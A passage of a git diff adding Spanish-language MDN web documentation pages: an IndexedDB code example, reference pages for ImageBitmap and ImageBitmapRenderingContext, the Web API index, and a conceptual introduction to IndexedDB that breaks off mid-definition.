+  // store the result of opening the database in the db variable.
+  db = DBOpenRequest.result;
+};
+
+// This event handles the event whereby a new version of the database needs to be created
+// Either one has not been created before, or a new version number has been submitted via the
+// window.indexedDB.open line above
+DBOpenRequest.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  db.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Error loading database.&lt;/li&gt;';
+  };
+
+  // Create an objectStore for this database
+
+  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+  // define what data items the objectStore will contain
+
+  objectStore.createIndex("hours", "hours", { unique: false });
+  objectStore.createIndex("minutes", "minutes", { unique: false });
+  objectStore.createIndex("day", "day", { unique: false });
+  objectStore.createIndex("month", "month", { unique: false });
+  objectStore.createIndex("year", "year", { unique: false });
+
+  objectStore.createIndex("notified", "notified", { unique: false });
+
+  note.innerHTML += '&lt;li&gt;Object store created.&lt;/li&gt;';
+};
+
+// Create a new item to add in to the object store
+var newItem = [
+  { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: 'December', year: 2013, notified: "no" }
+];
+
+// open a read/write db transaction, ready for adding the data
+var transaction = db.transaction(["toDoList"], "readwrite");
+
+// report on the success of opening the transaction
+transaction.oncomplete = function(event) {
+  note.innerHTML += '&lt;li&gt;Transaction opened for task addition.&lt;/li&gt;';
+};
+
+transaction.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;Transaction not opened due to error. Duplicate items not allowed.&lt;/li&gt;';
+};
+
+// create an object store on the transaction
+var objectStore = transaction.objectStore("toDoList");
+// add our newItem object to the object store
+var objectStoreRequest = objectStore.add(newItem[0]);
+
+objectStoreRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;New item added to database.&lt;/li&gt;';
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBObjectStore', 'IDBObjectStore')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/es/web/api/imagebitmap/index.html b/files/es/web/api/imagebitmap/index.html
new file mode 100644
index 0000000000..31a33886b9
--- /dev/null
+++ b/files/es/web/api/imagebitmap/index.html
@@ -0,0 +1,65 @@
+---
+title: ImageBitmap
+slug: Web/API/ImageBitmap
+tags:
+  - API
+  - Canvas
+  - Imagen de mapa de bits
+  - Referencia
+translation_of: Web/API/ImageBitmap
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>The <code><strong>ImageBitmap</strong></code> interface represents a bitmap image which can be drawn to a {{HTMLElement("canvas")}} without undue latency. It can be created from a variety of source objects using the {{domxref("ImageBitmapFactories.createImageBitmap", "createImageBitmap()")}} factory method. <code>ImageBitmap</code> provides an asynchronous and resource efficient pathway to prepare textures for rendering in WebGL.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ImageBitmap.height")}} {{readonlyInline}}</dt>
+ <dd>Is an <code>unsigned</code> <code>long</code> representing the height, in CSS pixels, of the <code>ImageData</code>.</dd>
+ <dt>{{domxref("ImageBitmap.width")}} {{readonlyInline}}</dt>
+ <dd>Is an <code>unsigned</code> <code>long</code> representing the width, in CSS pixels, of the <code>ImageData</code>.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("ImageBitmap.close()")}}</dt>
+ <dd>
+ <p>Disposes of all graphical resources associated with an <code>ImageBitmap</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "webappapis.html#imagebitmap", "ImageBitmap")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ImageBitmap")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("ImageBitmapFactories.createImageBitmap()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.drawImage()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texImage2D()")}}</li>
+ <li>{{domxref("OffScreenCanvas.transferToImageBitmap()")}}</li>
+</ul>
diff --git a/files/es/web/api/imagebitmaprenderingcontext/index.html b/files/es/web/api/imagebitmaprenderingcontext/index.html
new file mode 100644
index 0000000000..4fb6f8816f
--- /dev/null
+++ b/files/es/web/api/imagebitmaprenderingcontext/index.html
@@ -0,0 +1,37 @@
+---
+title: ImageBitmapRenderingContext
+slug: Web/API/ImageBitmapRenderingContext
+translation_of: Web/API/ImageBitmapRenderingContext
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p>El interface <strong><code>ImageBitmapRenderingContext</code></strong> es un lienzo de contexto renderizado que sólo permite la funcionalidad de reemplazar el contenido del lienzo ( <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas" title="Use the HTML &lt;canvas> element with either the canvas scripting API or the WebGL API to draw graphics and animations."><code>&lt;canvas&gt;</code></a> ) con el  {{domxref("ImageBitmap")}} dado. La identificación de contenido (el primer argumento a {{domxref("HTMLCanvasElement.getContext()")}} o {{domxref("OffscreenCanvas.getContext()")}}  es <code>"bitmaprenderer"</code>.</p>
+
+<p>Esta interface es posible en ambos , la ventana y el <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">"worker context" </a> (contexto de tabajo).</p>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("ImageBitmapRenderingContext.transferFromImageBitmap()")}}</dt>
+ <dd>
+ <p>Muestra el <code>ImageBitmap</code> en el lienzo asociado con el contexto de renderizado. La propiedad del <code>ImageBitmap</code> se transfiere al lienzo. Este se llamaba <code>transferImageBitmap()</code>, pero se renombra en un cambio especulativo . El viejo nombre se mantiene como un alias para evitar una ruptura del código.</p>
+ </dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Escrito como una propuesta en la especificaación <a href="https://wiki.whatwg.org/wiki/OffscreenCanvas">OffscreenCanvas</a>.</p>
+
+<h2 id="Compatibilidad_del_Buscador">Compatibilidad del Buscador</h2>
+
+<div>
+<div class="hidden">La compatibilidad de la tabla en esta página es generada de datos estructurales. Si quiere contribuir en los datos, cheque <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un "pull request" (requicisión).</div>
+
+<p>{{Compat("api.ImageBitmapRenderingContext")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("OffScreenCanvas")}}</li>
+</ul>
diff --git a/files/es/web/api/index.html b/files/es/web/api/index.html
new file mode 100644
index 0000000000..eb83cedc1b
--- /dev/null
+++ b/files/es/web/api/index.html
@@ -0,0 +1,37 @@
+---
+title: Referencia de la API Web
+slug: Web/API
+tags:
+  - API
+  - Aterrizaje
+  - DOM
+  - Referencia
+  - Web
+translation_of: Web/API
+---
+<p><span id="result_box" lang="es"><span class="hps">Cuando escribimos código</span> <span class="hps">para la web</span> <span class="hps">utilizando</span> <span class="hps">JavaScript</span><span>, podemos usar</span><span class="hps"> gran número de</span> <span class="hps"><abbr title="Application Programming Interface">APIs</abbr></span> <span class="hps">disponibles</span><span>.</span> <span class="hps">A continuación mostramos</span> <span class="hps">una lista de todas</span> <span class="hps">las interfaces</span> <span class="atn hps">(</span><span>es decir,</span> <span class="hps">tipos de objetos</span><span>) que </span><span class="hps">puedes usar</span> <span class="hps">al desarrollar</span> <span class="hps">tu aplicación</span> <span class="hps">o sitio Web</span><span>.</span> <span class="hps">Para obtener una lista</span> <span class="hps">de</span> <span class="hps">las API que</span> <span class="hps">contiene</span> <span class="hps">cada una de</span> <span class="hps">estas interfaces</span><span>, consulta la</span> <span class="hps">referencia de la API</span> <span class="hps">Web.</span></span></p>
+
+<div>{{APIListAlpha}}</div>
+
+<div></div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta es una lista de todas las APIs que están disponibles.</p>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p><br>
+ Esta es una lista de todas las interfaces (es decir, tipos de objetos) que están disponibles</p>
+
+<p>{{APIListAlpha}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+
+
+<ul>
+ <li><a href="/es/docs/Web/Events">Referencia de la API de eventos web</a></li>
+</ul>
diff --git a/files/es/web/api/indexeddb_api/conceptos_basicos_detras_de_indexeddb/index.html b/files/es/web/api/indexeddb_api/conceptos_basicos_detras_de_indexeddb/index.html
new file mode 100644
index 0000000000..34d4fdd438
--- /dev/null
+++ b/files/es/web/api/indexeddb_api/conceptos_basicos_detras_de_indexeddb/index.html
@@ -0,0 +1,216 @@
+---
+title: Conceptos Básicos
+slug: Web/API/IndexedDB_API/Conceptos_Basicos_Detras_De_IndexedDB
+translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+---
+<p><strong>IndexedDB</strong> es una manera de almacenar datos de manera persistente en el navegador. Dado que permite la creación de aplicaciones web con capacidades de consulta mejoradas, éstas pueden funcionar tanto en línea como fuera de línea. IndexedDB es útil para aplicaciones que almacenan una gran cantidad de datos (catálogos de DVDs en una biblioteca, por ejemplo) y para aplicaciones que no necesitan de una conexión permanente a internet para funcionar (clientes de correo, listas de tareas y blocs de notas, por ejemplo).</p>
+
+<h2 id="Sobre_este_documento">Sobre este documento</h2>
+
+<p>Esta introducción discute conceptos y terminologías fundamentales en IndexedDB. Provee una visión general y orienta sobre los conceptos clave. Para aprender más sobre los términos relacionados con IndexedDB, vea la sección de <a href="#definitions">Definiciones</a>.</p>
+
+<p>Para un tutorial sobre cómo usar la API, vea <a href="/es/IndexedDB/Usando_IndexedDB" title="en/IndexedDB/IndexedDB primer">Usando IndexedDB</a>. Para ver la documentación de referencia sobre la API de IndexedDB, vea el artículo <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a> y sus sub-páginas, que documentan los tipos de objetos utilizados por IndexedDB, así como los métodos de las API síncrona y asíncrona.</p>
+
+<h2 id="Visión_general_de_IndexedDB">Visión general de IndexedDB</h2>
+
+<p>IndexedDB le permite almacenar y obtener objetos indizados a partir de una "llave". Todos los cambios realizados a la base de datos ocurren dentro de transacciones. Como la mayoría de las soluciones de almacenamiento web, IndexedDB sigue una <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">política de mismo origen</a>, por lo que aún cuando se puede acceder a datos almacenados en un dominio, no se pueden acceder a datos a través de distintos dominios.</p>
+
+<p>La API incluye una variante <a href="/en/IndexedDB#Asynchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Asynchronous_API">asíncrona</a> y una <a href="/en/IndexedDB#Synchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Synchronous_API">síncrona</a>. La variante asíncrona puede ser utilizada en la mayoría de los casos, incluyendo <a href="/En/DOM/Using_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">WebWorkers</a>, mientras la variante síncrona está diseñada para ser utilizada solo con WebWorkers. Actualmente, ninguno de los navegadores principales soportan la API síncrona. Sin embargo, aún cuando la API síncrona sea soportada, en la mayoría de los casos de uso de IndexedDB lo más probable es que se utilice la API asíncrona.</p>
+
+<p>IndexedDB es una alternativa a WebSQL, que fue marcada como obsoleta por W3C el 18 de Noviembre de 2010. Aún cuando IndexedDB y WebSQL son soluciones para el almacenamiento, éstas no ofrecen las mismas funcionalidades. WebSQL es un sistema relacional de acceso a datos, mientras que IndexedDB es un sistema de tablas indizadas.</p>
+
+<h2 id="concepts" name="concepts">Conceptos principales</h2>
+
+<p>Si usted tiene alguna idea de cómo trabajan otros tipos de bases de datos, podría tener algún conflicto de conceptos al trabajar con IndexedDB. Por esta razón mantenga los siguientes conceptos importantes en mente:</p>
+
+<ul>
+ <li>
+  <p><strong>IndexedDB almacena pares llave-valor.</strong> Los valores pueden ser objetos con estructuras complejas, y las llaves pueden ser propiedades de esos objetos. Se pueden crear índices que usan cualquier propiedad de los objetos para realizar búsquedas rápidas o enumeraciones ordenadas.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB está hecho sobre un modelo de base de datos transaccional.</strong> Todo lo que usted haga en IndexedDB siempre ocurre en el contexto de una <a href="#gloss_transaction">transacción</a>. La API de IndexedDB provee una gran cantidad de objetos que representan índices, tablas, cursores, y más, pero cada uno de ellos están atados a una transacción particular. Así, usted no puede ejecutar ningún comando o abrir un cursor fuera de una transacción.</p>
+
+  <p>Las transacciones tienen un período de vida bien definido. Por esta razón, cualquier intento de utilizar una transacción que ya se ha completado ocasionará excepciones. Igualmente, las transacciones aplican los cambios automáticamente y no se puede hacer <em>commit</em> automáticamente.</p>
+
+  <p>Este modelo de transacciones es realmente útil cuando se considera qué podría pasar si un usuario abre dos instancias de una aplicación simultáneamente en dos pestañas. Sin operaciones transaccionales, las dos instancias podrían hacer que los cambios se <em>pisen</em> o se sobreescriban entre sí. Si no está familiarizado con el concepto de transacción en una base de datos, lea el <a class="link-https" href="https://es.wikipedia.org/wiki/Transacci%C3%B3n_%28base_de_datos%29" title="https://secure.wikimedia.org/wikipedia/en/wiki/Database_transaction">artículo correspondiente en la Wikipedia</a> y <a href="#gloss_transaction">transacción</a> en la sección de definiciones.</p>
+ </li>
+ <li>
+  <p><strong>La API de IndexedDB es mayormente asincrona.</strong> La API no devuelve datos regresando un valor; en cambio, es necesario pasarle una funcion como <em>callback</em>. Usted no "guarda" un valor en la base de datos, o "lee" un valor de la misma por medios síncronos. En cambio, usted "solicita" una operación a la base de datos. Un evento del DOM es utilizado para notificarle que la operación terminó, y el tipo de evento recibido le permite saber si ésta falló o si fue exitosa. Esto puede sonar complicado al comienzo, pero hay algunas medidas de sanidad incluidas por defecto. Esto no es muy distinto de cómo funciona <a href="/es/DOM/XMLHttpRequest" title="https://developer.mozilla.org/en/xmlhttprequest">XMLHttpRequest</a>.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB usa solicitudes en todos lados. </strong>Las solicitudes (<em>requests</em>) son objetos que reciben los eventos del DOM mencionados previamente. Éstas cuentan con las propiedades <code style="font-size: 14px;">onsuccess</code> y <code style="font-size: 14px;">onerror</code>, sobre las cuales se puede aplicar <code style="font-size: 14px;">addEventListener()</code> y <code style="font-size: 14px;">removeEventListener()</code>. Estas también tienen las propiedades  <code style="font-size: 14px;">readyState</code>, <code style="font-size: 14px;">result</code>, y <code style="font-size: 14px;">errorCode</code> que permiten conocer el estado de la solicitud. La propiedad <code style="font-size: 14px;">result</code> es particularmente mágica, dado que puede ser muchas cosas distintas, dependiendo de cómo se generó la solicitud (por ejemplo, una instancia de <code>IDBCursor</code>, o la llave de un valor recién insertado en la base de datos).</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB usa eventos DOM para notificar cuando los resultados están disponibles.</strong> Los eventos del DOM siempre tienen una propiedad <code style="font-size: 14px;">type</code> (en IndexedDB, ésta es generalmente <code style="font-size: 14px;">"success"</code> o <code style="font-size: 14px;">"error"</code>). Los eventos del DOM también tienen una propiedad <code style="font-size: 14px;">target</code> que dice a dónde apunta el evento. En la mayoría de los casos, el <code style="font-size: 14px;">target</code> de un evento es el objeto <code style="font-size: 14px;">IDBRequest</code> que se generó como resultado de una operación sobre la base de datos. Los eventos exitosos no son pasados a los padres y no pueden ser cancelados. Por otro lado, los eventos de error son pasados a los padres del target y pueden cancelarse. Esto es importante, dado que los eventos de error cancelan cualquier transacción sobre la que estén corriendo a menos que sean cancelados.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB es orientada a objetos.</strong> IndexedDB no es una base de datos relacional, con tablas, filas y columnas. Esta diferencia fundamental e importante afecta la manera como usted diseña e implementa sus aplicaciones.</p>
+
+  <p>En un almacén de datos relacional, usted podría tener una tabla que almacena una colección de filas de datos y columnas de tipos de datos con un nombre. IndexedDB, por otro lado, necesita que usted cree un almacén de objetos para un tipo de datos y sencillamente almacena objetos JavaScript en ese almacén. Cada almacén de objetos puede tener una colección de índices que hacen que la iteración y la búsqueda de elementos sea más eficiente. Si usted no está familiarizado con los sistemas de manejo de datos orientados a objetos, lea el <a class="external" href="https://es.wikipedia.org/wiki/Base_de_datos_orientada_a_objetos" title="http://en.wikipedia.org/wiki/Object_database">artículo de la Wikipedia sobre bases de datos orientadas a objetos</a>.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB no utiliza SQL (</strong><strong>Structured Query Language).</strong> En cambio usa consultas sobre un índice que producen un cursor. Éste puede utilizarse para iterar sobre el conjunto de resultados. Si no está familiarizado con sistemas NoSQL, lea el <a class="external" href="https://es.wikipedia.org/wiki/NoSQL" title="http://en.wikipedia.org/wiki/NoSQL">artículo de Wikipedia sobre NoSQL</a>.</p>
+ </li>
+ <li>
+  <p><a name="origin"><strong>IndexedDB se adhiere a una política de mismo origen</strong></a>. Un orígen es el dominio, protocolo de la capa de aplicación, y el puerto de la URL del documento donde se está ejecutando la aplicación. Cada orígen tiene su propio conjunto de bases de datos asociado. Cada base de datos tiene un nombre que la identifica dentro de un orígen.</p>
+
+  <p>El límite de seguridad impuesto en IndexedDB prevé que las aplicaciones puedan acceder a datos de un orígen diferente. Por ejemplo, mientras una aplicación en <a class="external" href="http://www.example.com/app/" rel="freelink">http://www.example.com/app/</a> puede obtener datos desde <a class="external" href="http://www.example.com/dir/" rel="freelink">http://www.example.com/dir/</a>, debido a que comparten un mismo orígen, esta no puede leer datos desde <a class="external" href="http://www.example.com:8080/dir/" rel="freelink">http://www.example.com:8080/dir/</a> (puerto distinto) o desde <a class="link-https" href="https://www.example.com/dir/" rel="freelink">https://www.example.com/dir/</a> (protocolo distinto), debido a que tienen distintos orígenes.</p>
+ </li>
+</ul>
+
+<h2 id="definitions" name="definitions">Definiciones</h2>
+
+<p>Esta sección define y explica los términos utilizados en la API de IndexedDB.</p>
+
+<h3 id="database" name="database">Base de Datos</h3>
+
+<dl>
+ <dt><a name="gloss_database">base de datos</a></dt>
+ <dd>Un repositorio de información, típicamente compuesto de uno o más  <a href="#gloss_object_store" title="#gloss_object_store"><em>almacenes de objetos</em></a>. Cada base de datos debe tener:
+ <ul>
+  <li><strong>Nombre</strong>. Identifica la base de datos dentro de un mismo origen y no cambia a lo largo de la existencia de ésta. El nombre puede ser cualquier cadena de caracteres (incluyendo una vacía).</li>
+  <li>
+   <p><strong><a href="#gloss_version"><em>Versión</em></a> actual</strong>. Cuando una base de datos se crea por primera vez, la versión es el número entero 1 si no se indica otra cosa. Cada base de datos puede tener una y sólo una versión en cualquier momento.</p>
+  </li>
+ </ul>
+ </dd>
+ <dt><a name="gloss_object_store">almacén de objetos</a></dt>
+ <dd>
+ <p>El mecanismo a través del cual los datos son almacenados en la base de datos. El almacén de objetos mantiene registros de manera persistente, que son pares de llave-valor. Los registros dentro de un almacén de objetos son ordenados de acuerdo con las <em><a href="#gloss_key">llaves</a></em> en orden ascendente.</p>
+
+ <p>Todo almacén de objetos debe tener un nombre que es único a lo largo de su base de datos. Opcionalmente puede tener un <em><a href="#gloss_keygenerator">generador de llaves</a></em> y una <em><a href="#gloss_keypath">ruta de llaves</a></em>. Si el almacén tiene una ruta de llaves, éste utiliza <em><a href="#gloss_inline_key">llaves en línea</a></em>; si no, utiliza <em><a href="#gloss_outofline_key">llaves fuera de línea</a></em>.</p>
+
+ <p>Para documentación de referencia sobre los almacenes de objetos, vew <a href="../../../../en/IndexedDB/IDBObjectStore" rel="internal">IDBObjectStore</a> o <a href="../../../../en/IndexedDB/IDBObjectStoreSync" rel="internal">IDBObjectStoreSync</a>.</p>
+ </dd>
+ <dt><a name="gloss_version">versión</a></dt>
+ <dd>Cuando una base de datos es creada por primera vez, su versión es 1. Cada base de datos tiene una versión en cualquier momento y no puede tener varias versiones al mismo tiempo. La única manera de cambiar la versión es abrir la base de datos con una versión mayor a la actual. Esto arranca una <em>transacción</em> <code>versionchang<em>e</em></code> y dispara el evento <code>upgradeneeded</code>. El único momento cuando se puede actualizar el esquema de la base de datos es dentro del manejador de este evento.</dd>
+ <dd>Nota: Esta definición describe la <a class="external" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">especificación más actual</a>, que solo está implementada por las versiones más nuevas de los navegadores. Los navegadores más antiguos implementaron el método <a href="/en-US/docs/IndexedDB/IDBDatabase#setVersion()" title="/en-US/docs/IndexedDB/IDBDatabase#setVersion()"><code>IDBDatabase.setVersion()</code></a>, que ya ha sido marcado obsoleto y removido.</dd>
+ <dt><a name="gloss_database_connection">conexión a la base de datos</a></dt>
+ <dd>Una operación creada al abrir una <em><a href="#gloss_database">base de datos</a></em>. Una base de datos puede tener múltiples conexiónes al mismo tiempo.</dd>
+ <dt><a name="gloss_transaction">transacción</a></dt>
+ <dd>
+ <p>Un conjunto atómico y durable de operaciónes de acceso y modificación de datos sobre una base de datos particular. Esta es la manera cómo se interactúa con los datos de una base de datos. De hecho, cualquier lectura o modificación de datos en la base de datos debe ocurrir dentro de una transacción.</p>
+
+ <p>Una conexión a la base de datos puede tener varias transacciones activas, siempre que las operaciones de escrituras no tengan <a href="#scope"><em>ámbitos</em></a> que se solapen. El ámbito de las transacciones, que es definido al momento en que éstas son creadas, determina con qué almacenes de datos puede interactuar ésta y permanece constante a lo largo de su existencia. Así, por ejemplo, si una conexión tiene una transacción escribiendo con un ámbito que abarca solo el almacén <code>flyingMonkey</code>, se puede iniciar una segunda que tenga como ámbito los almacenes <code>unicornCentaur</code> y <code>unicornPegasus</code>. En el caso de las transacciones de lectura, se pueden tener varias aún cuando se solapen.</p>
+
+ <p>Se espera que las transacciones tengan una existencia corta, de manera que el navegador puede cancelar una transacción que tome demasiado tiempo para liberar recursos que la misma tenga bloqueados. Usted puede abortar la transacción, lo que deshace los cambios hechos a la base de datos durante la misma. Ni siquiera es necesario esperar a que la transacción inicie para abortarla.</p>
+
+ <p>Los tres modos de transacción son: <code>readwrite</code>, <code>readonly</code>, y <code>versionchange</code>. La única manera de crear y borrar almacenes es usar una transacción <code>versionchange</code>. Para aprender más sobre los tipos de transacción, vea al artículo de referencia de <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a>.</p>
+
+ <p>Debido a que todo sucede dentro de una transacción, este es un concepto muy importante. Para aprender más sobre las transacciones, especialmente sobre como se relacionan con el versionado, vea <a href="../../../../en/IndexedDB/IDBTransaction" rel="internal">IDBTransaction</a>, que también cuenta con documentación de referencia. Para la documentación sobre la API asíncrona, vea <a href="../../../../en/IndexedDB/IDBTransactionSync" rel="internal">IDBTransactionSync</a>.</p>
+ </dd>
+ <dt><a name="gloss_request">solicitud</a></dt>
+ <dd>La operación por medio de la cual se lee o se escribe en una base de datos. Toda solicitud representa una y solo una operación de lectura o escritura.</dd>
+ <dt><a name="gloss_index">índice</a></dt>
+ <dd>
+ <p>Un almacén especializado para buscar registros en otro almacén, llamado <em>almacén de objetos referenciado</em>. El índice es un almacenamiento persistente llave-valor donde el valor es una llave del almacén referenciado. Los registros en un índice son rellenados automáticamente cada vez que se modifican los registros del almacén referenciado. Cada registro en un índice puede apuntar solo a un registro de su almacén referenciado, pero varios índices pueden apuntar al mismo almacén.</p>
+
+ <p>Alternativamente, se pueden realizar búsquedas en un almacén de objetos usando la <a href="#gloss_key">llave</a><em>.</em></p>
+
+ <p>Para aprender más sobre el uso de los índices, vea <a href="/en/IndexedDB/Using_IndexedDB#Using_an_index" title="en/IndexedDB/Using_IndexedDB#Using_an_index">Usando IndexedDB</a>. Para documentación de referencia, vea <a href="../../../../en/IndexedDB/IDBKeyRange" rel="internal">IDBKeyRange</a>.</p>
+ </dd>
+</dl>
+
+<h3 id="key" name="key">Llave y valor</h3>
+
+<dl>
+ <dt><a name="gloss_key">llave</a></dt>
+ <dd>
+ <p>Es uno de los atributos del objeto a partir del cual los demás objetos son organizados y obtenidos desde el almacén de objetos. El almacén puede derivar una llave desde uno de tres orígenes: un <em><a href="#gloss_keygenerator">generador de llaves</a></em>, una <em><a href="#gloss_keypath">ruta de llave</a></em><a>, y un valor indicado de forma explícita. La llave debe ser de un tipo de datos que tenga un número creciente en relación con los objetos almacenados previamente. Cada registro en un almacén de datos debe tener una llave única en el almacén, de manera que no se pueden tener varios objetos con la misma llave en un almacén de objetos dado.</a></p>
+ <a> </a>
+
+ <p><a>Una llave puede ser de uno de los siguientes tipos: </a><a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String" title="String">String</a>, <a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Date" title="Date">Date</a>, float, y <a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Array" title="Array">Array</a>. Para los arreglos, la llave puede tener un rango desde un valor vacío hasta infinito, y puede incluirse un arreglo dentro de otro. No se requiere usar solo cadenas o enteros para las llaves {{ fx_minversion_inline("11") }}.</p>
+
+ <p>Como alternativa, se pueden realizar búsquedas de objetos usando un <em><a href="#gloss_index">índice</a>.</em></p>
+ </dd>
+ <dt><a name="gloss_keygenerator">generador de llaves</a></dt>
+ <dd>Es un mecanismo para producir nuevas llaves en una secuencia ordenada. Si un almacén de objetos no tiene un generador de llaves, entonces la aplicación debe proveer llaves para los registros que se almacenen. Los generadores no son compartidos entre almacenes. Esto es un detalle de implementación de los navegadores, porque en desarrollo web, realmente no se crea o se accede a un generador de llaves.</dd>
+ <dt><a name="gloss_inline_key">llaves en línea</a></dt>
+ <dd>Es una llave que se almacena como parte del valor almacenado. La manera como se determina cuál es la llave es utilizando una  <em>ruta de llave</em>. Una llave en línea puede obtenerse con un generador. Después de que la llave ha sido generada, esta puede almacenarse en el valor usando la ruta del atributo o puede ser usada directamente como llave.</dd>
+ <dt><a name="gloss_outofline_key">llave fuera de línea</a></dt>
+ <dd>Una llave que se almacena separada del valor.</dd>
+ <dt><a name="gloss_keypath">ruta de llave</a></dt>
+ <dd>Define de dónde se debe extraer la llave desde un valor en el almacén o en un índice. Una ruta de llave válida puede incluir alguno de los siguientes: una cadena vacía, un identificador de JavaScript, o múltiples identificadores de JavaScript separados con puntos. No puede incluir espacios.</dd>
+ <dt><a name="gloss_value">valor</a></dt>
+ <dd>
+ <p>Cada registro tiene un valor, el cual puede ser cualquier cosa que pueda ser expresada en JavaScript, incluyendo: <a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Boolean" rel="internal" title="Boolean">booleanos</a>, <a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Number" rel="internal" title="Number">números</a>, <a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String" title="String">cadenas</a>, <a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Date" title="Date">fechas</a>, <a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Object" title="Object">objetos</a>, <a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Array" rel="internal" title="Array">arreglos</a>, <a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/RegExp" rel="internal" title="RegExp">expresiones regulares</a>, <a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/undefined" title="undefined">undefined</a>, y null.</p>
+
